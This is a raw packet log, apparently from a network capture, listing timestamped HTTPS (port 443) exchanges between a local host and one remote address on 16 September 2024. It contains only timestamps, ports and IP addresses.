Sep 16, 2024 19:33:14.282521963 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:14.282546043 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.282582998 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.282738924 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:14.282748938 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.282757998 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.282790899 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.282792091 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:14.282804012 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.282820940 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.282833099 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:14.282833099 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.282833099 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:14.282860994 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.282876015 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.282886982 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:14.282886982 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:14.282886982 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:14.282896996 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.282906055 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.282912970 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.282928944 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.282938004 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.282949924 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:14.282949924 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:14.282949924 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:14.282949924 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:14.282958984 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.282972097 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.282987118 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.282999992 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.283010006 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.283023119 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:14.283023119 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:14.283023119 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:14.283032894 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.283058882 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.283066988 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.283081055 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:14.283081055 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:14.283087969 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.283114910 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.283117056 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:14.283138037 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.283148050 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.283181906 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:14.283189058 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.283196926 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.283217907 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:14.283237934 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.283261061 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.283308029 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:14.283329010 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.283351898 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.283373117 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:14.283380985 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.283400059 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.283426046 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:14.283432961 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.283449888 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.283478022 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:14.283484936 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.283499956 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.283540964 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:14.283548117 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.283570051 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.283608913 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:14.283616066 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.283631086 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.283680916 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:14.283688068 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.283698082 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.283752918 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:14.283809900 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:14.347949028 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:14.347975016 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.348006010 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.348022938 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.348037958 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.348056078 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:14.348063946 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.348107100 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:14.348185062 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:14.495399952 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.495457888 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:14.555412054 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.555560112 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:14.614959002 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:14.615029097 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.615076065 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.615124941 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.615158081 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.615185022 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:14.615201950 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.615240097 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:14.615310907 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:14.615334034 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:14.819430113 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.819509983 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:14.907411098 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.907459974 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:15.010343075 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:15.010379076 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:15.010416985 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:15.010474920 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:15.010497093 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:15.010548115 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:15.010628939 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:15.010652065 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:15.010759115 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:15.103410959 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:15.103533983 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:15.199923038 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:15.199943066 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:15.199955940 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:15.200038910 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:15.200046062 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:15.200057983 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:15.200126886 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:15.200133085 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:15.200150967 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:15.200169086 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:15.200203896 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:15.200208902 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:15.200257063 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:15.200263977 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:15.200285912 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:15.200294018 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:15.200299025 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:15.200422049 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:15.200428963 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:15.200442076 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:15.200467110 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:15.200474024 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:15.200474024 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:15.200480938 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:15.200500011 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:15.200582027 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:15.200588942 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:15.200607061 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:15.200689077 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:15.215444088 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:15.215517998 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:15.274559975 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:15.274612904 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:15.274696112 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:15.274764061 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:15.274786949 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:15.274835110 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:15.274882078 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:15.274900913 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:15.275007963 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:15.407445908 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:15.407517910 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:15.479403973 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:15.479466915 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:15.525075912 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:15.525095940 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:15.525122881 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:15.525183916 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:15.525204897 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:15.525230885 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:15.525278091 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:15.525293112 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:15.525341988 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:15.525386095 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:15.735404968 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:15.735466003 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:15.739406109 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:15.739479065 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:15.808443069 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:15.808461905 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:15.808501005 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:15.808537960 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:15.808557987 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:15.808584929 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:15.808630943 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:15.808645010 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:15.808681011 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:15.808717012 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:15.808736086 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:15.835438013 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:15.835484982 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.015435934 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.015518904 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.098036051 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.098052979 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.098066092 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.098108053 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.098114967 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.098131895 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.098141909 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.098145962 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.098154068 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.098165989 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.098176956 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.098190069 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.098193884 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.098201990 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.098211050 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.098217964 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.098231077 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.098258018 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.098263979 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.098278046 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.098293066 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.098299026 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.098303080 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.098325968 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.098331928 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.098340988 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.098361015 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.098366976 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.098476887 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.098484039 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.098510027 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.098519087 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.098537922 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.098613977 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.098619938 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.098634005 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.098654032 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.098659992 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.098666906 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.098696947 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.098702908 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.098715067 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.098748922 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.098757029 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.098804951 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.098810911 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.098828077 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.098850012 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.098856926 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.098915100 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.098921061 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099014044 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.099020004 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099040985 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099061012 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.099066019 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099133015 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.099138975 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099169016 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099206924 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.099211931 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099221945 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099234104 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099242926 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.099271059 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.099276066 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099284887 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099298954 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099328041 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.099332094 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099339962 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.099343061 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099355936 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099400043 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099400997 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.099407911 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099415064 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.099420071 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099438906 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.099447012 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.099450111 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099463940 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.099467993 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099476099 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.099481106 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099488974 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099500895 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.099515915 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.099519968 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099538088 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099540949 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.099548101 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.099553108 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099561930 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099575996 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.099596977 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.099596977 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.099603891 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099611998 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099612951 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099627972 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099637985 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.099653959 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099672079 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099673033 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.099673033 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.099673033 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.099673033 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.099680901 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099694014 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099704027 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099719048 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099721909 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099729061 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099731922 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.099731922 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.099731922 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.099731922 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.099735975 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099740982 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099756956 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099769115 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.099769115 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.099775076 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099778891 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099792004 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099792004 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099802971 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.099802971 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.099808931 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099839926 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099844933 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.099845886 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.099853039 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099858999 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099878073 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.099878073 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.099884033 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099893093 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099895000 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.099903107 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099910975 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099941969 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099945068 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.099945068 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:16.099952936 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099960089 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:16.099961996 CEST	49766	443	192.168.2.4	185.199.110.133
